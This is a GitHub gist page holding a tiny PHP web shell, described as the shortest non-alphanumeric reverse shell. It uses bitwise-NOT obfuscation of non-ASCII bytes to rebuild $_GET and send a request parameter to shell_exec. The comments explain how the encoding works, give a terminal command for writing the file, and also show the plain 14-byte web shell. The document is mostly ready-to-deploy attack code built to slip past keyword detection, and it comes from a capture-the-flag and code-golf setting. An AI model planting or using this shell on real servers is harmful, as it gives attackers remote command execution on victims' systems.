Skip to content

Instantly share code, notes, and snippets.

@0xSojalSec
Forked from terjanq/rev_shell.php
Created January 28, 2023 18:46
Show Gist options
  • Star 37 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save 0xSojalSec/5bee09c7035985ddc13fddb16f191075 to your computer and use it in GitHub Desktop.
Save 0xSojalSec/5bee09c7035985ddc13fddb16f191075 to your computer and use it in GitHub Desktop.
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation:
* - ~"\xa0\xb8\xba\xab" <-> "_GET"
* - ${"_GET"}["\xa0"] <-> $_GET["\xa0"]
* - `{$_GET["\xa0"]}` <-> shell_exec($_GET["\xa0"])
*
* This is only 5 bytes longer than the shortest PHP shell (using $_GET to smuggle data)!
* <?=`$_GET[_]`;
*
* This is a slightly improved idea that I had 2 years ago
* https://github.com/terjanq/Flag-Capture/blob/master/MeePwn%202018/omega/README.md#part2
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment